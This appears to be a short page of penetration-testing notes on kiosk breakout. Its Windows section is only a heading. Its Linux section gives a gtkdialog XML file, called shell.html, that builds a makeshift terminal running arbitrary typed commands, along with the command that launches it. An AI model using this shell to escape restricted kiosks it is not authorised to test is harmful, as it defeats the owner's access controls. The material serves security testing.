Kiosk Breakout

Windows

Navigating with environment variables and shell directive:

Linux

gtkdialog

HTLM-based pseudo terminal emulator (useful when there's no other terminal apps available):

shell.html
<window>
	<vbox>
		<vbox scrollable="true" width="500" height="400">
			<edit>
				<variable>CMDOUTPUT</variable>
				<input file>/tmp/termout.txt</input>
			</edit>
	</vbox>
	<hbox>
		<text><label>Command:</label></text>
		<entry><variable>CMDTORUN</variable></entry>
		<button>
				<label>Run</label>
				<action>$CMDTORUN > /tmp/termout.txt 2>&1</action>
				<action>refresh:CMDOUTPUT</action>
			</button>
	</hbox>
	</vbox>
</window>

The shell can be invoked with /usr/bin/gtkdialog -f shell.html

Last updated